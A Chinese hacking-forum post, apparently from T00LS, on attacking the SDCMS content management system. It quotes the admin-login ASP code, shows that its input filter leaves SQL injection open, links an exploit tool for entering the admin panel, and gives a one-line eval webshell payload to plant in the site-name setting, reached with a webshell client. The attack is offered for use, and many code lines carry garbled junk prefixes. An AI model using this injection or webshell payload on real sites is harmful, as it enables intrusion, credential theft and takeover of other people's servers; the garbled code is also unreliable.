SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
漏洞文件：后台目录/index.asp

Sub Check
    Dim username,password,code,getcode,Rs
! m: P" }4 c' ]8 r4 n    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
    username=FilterText(Trim(Request.Form("username")),1)
1 a: Q$ R, l* E7 a. g    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
/ u) f) n0 K1 N( N/ c: G% y: h    getcode=Session("SDCMSCode")
/ P4 i9 _5 g9 n& u( K    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
& q/ i) r1 ~2 R8 k. z* L    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
3 Z  P" f& {: G+ b) q    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
. X& z3 f) ]& P( c  @% ~. r    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
: i* I3 t% J% {7 Z: A. H: j        Echo "用户名或密码不能为空"ied
- A6 C4 H3 A6 O5 W    Else
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
+ Y! W- x4 n  M3 K7 v5 d2 O' q2 q            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
/ |% m% w' f1 \* f        Else
# q/ ^3 E# O, L  R! X            Add_Cookies "sdcms_id",Rs(0)
2 r  e6 M4 C/ v$ T) i            Add_Cookies "sdcms_name",username
6 f# n+ n8 `2 q4 S            Add_Cookies "sdcms_pwd",Rs(2)
- G) C- }( v% m( k# a0 S            Add_Cookies "sdcms_admin",Rs(3)
            Add_Cookies "sdcms_alllever",Rs(4)
            Add_Cookies "sdcms_infolever",Rs(5)
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
6 {9 W7 T+ c; ?: b! L            '自动删除30天前的Log记录
6 g+ g! i5 m0 o6 _7 Q+ s* `            IF Sdcms_DataType Then
. P. ~3 r. Z) f  X5 W8 z                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
            Else
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
            End IF
  Y: M2 ~- W( L2 W4 }            Go("sdcms_index.asp")
        End IF
. q( h7 y- U6 [! I" |; @2 ^. g9 c        Rs.Close
        Set Rs=Nothing
7 z" Z- u, Q; g) k/ E* N- p    End IF
4 l/ U9 @$ e/ Q: h. zEnd Sub

’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

Function FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
    t0=Trim(t0)
+ T5 S1 T" ?7 w0 h8 p; a    Select Case t1
( e( V( N2 {: Y# I        Case "1"
2 |0 t, i% U% V9 W  }% I5 j            t0=Replace(t0,Chr(32),"")
. W1 m% w" w- }# @/ H            t0=Replace(t0,Chr(13),"")
/ c" q& V' E4 N6 ?7 F% I1 N, Z            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
        Case "2"
            t0=Replace(t0,Chr(8),"")'回格
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
% N+ V0 ^- s4 z1 e& b8 u% I5 C            t0=Replace(t0,Chr(22),"")
0 A- I3 d& [% _5 k4 ~3 w. J, z            t0=Replace(t0,Chr(32),"")'空格 SPACE
+ `4 z1 w; }! a5 Q( h8 i            t0=Replace(t0,Chr(33),"")'!
9 n  s; P! s' C1 o& p& [            t0=Replace(t0,Chr(34),"")'"
0 w1 t$ D0 |- }7 m3 `9 E6 |            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
            t0=Replace(t0,Chr(37),"")'%
            t0=Replace(t0,Chr(38),"")'&
# _4 B+ \$ f1 v4 N6 \( T: M            t0=Replace(t0,Chr(39),"")''
3 D) h+ k$ T4 m7 M( I* _# b            t0=Replace(t0,Chr(40),"")'(
5 q0 U. I/ `1 Y            t0=Replace(t0,Chr(41),"")')
# s3 K8 D" ~% f) i            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
            t0=Replace(t0,Chr(44),"")',
            t0=Replace(t0,Chr(45),"")'-
2 T1 c8 f/ W- W* c            t0=Replace(t0,Chr(46),"")'.
  ]+ D- o& P# L; h, r- B            t0=Replace(t0,Chr(47),"")'/
            t0=Replace(t0,Chr(58),"")':
            t0=Replace(t0,Chr(59),"")';
2 K# H" q  }) k            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
            t0=Replace(t0,Chr(63),"")'?
5 P+ |$ t6 @" q2 H            t0=Replace(t0,Chr(64),"")'@
            t0=Replace(t0,Chr(91),"")'\
' p: F0 z: v& M( S. \' o, j( m            t0=Replace(t0,Chr(92),"")'\
6 z# r  ^4 |& j# q/ _7 X  O            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
9 k% b9 x4 G/ v& {            t0=Replace(t0,Chr(95),"")'_
            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
            t0=Replace(t0,Chr(124),"")'|
: @4 E' @( l7 P# t2 c! S0 I. l% W            t0=Replace(t0,Chr(125),"")'}
" T% e1 @! K# [- K5 `1 p            t0=Replace(t0,Chr(126),"")'~
8 C6 w" c0 \& s2 o- [    Case Else
) u' z4 G1 t# h$ _+ p        t0=Replace(t0, "&", "&")
9 \/ d2 O! ]* @        t0=Replace(t0, "'", "'")
' }, v) y* J% c! H        t0=Replace(t0, """", """)
. R' d* P, m7 F        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
    End Select
# V+ F" i( R. h$ n( r# W    IF Instr(Lcase(t0),"expression")>0 Then
# N  k- R! a* @8 w. {) Q        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
    FilterText=t0
  ^1 \) t! X/ i& {End Function
+ d7 U) T) q" [. \3 Z) X; I; Y
8 {4 x& x0 m4 |, m看到没。直接参数是1 只过滤
                        t0=Replace(t0,Chr(32)," ")
6 U0 Z4 t* w- }2 ~7 W                        t0=Replace(t0,Chr(13),"")
  K% |- x7 A8 X5 Q0 P                        t0=Replace(t0,Chr(10)&Chr(10),"
")
1 ]. \. A/ N/ [, w                        t0=Replace(t0,Chr(10),"
0 f" k" k+ g7 M6 z/ ~  g")
# M' _7 Q0 F& K1 g0 _1 y漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
. H( [( l. ?$ bEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
8 b6 q" T* |  \: d5 q' Q
8 K# _1 p! Y2 k" c9 v* P测试:
5 z) u+ e  `, V. c0 c7 Q$ T

/ |0 X& `& f6 X  o! t, v$ J2 e现在输入工具上验证码,然后点OK

, F' O8 L' Z& Z( S
看到我们直接进入后台管理界面了,呵呵!

) ?" z! \9 w5 n. ~) R, t/ p5 y
$ m( S9 o3 a5 y) q
1 @) M" \  @+ p0 q& z这样直接进入后台了。。。。



SDCMS提权:

方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
7 C8 z6 V6 E8 b! {" D" I


- P" c0 E/ ^0 l3 j  y/ JOK,现在用菜刀连接下!
7 U& z  K& d( R5 k) i

0 ]$ q3 k( j6 l8 a, R, w6 L

4 S% }0 k- j4 g3 ~/ v9 \+ Q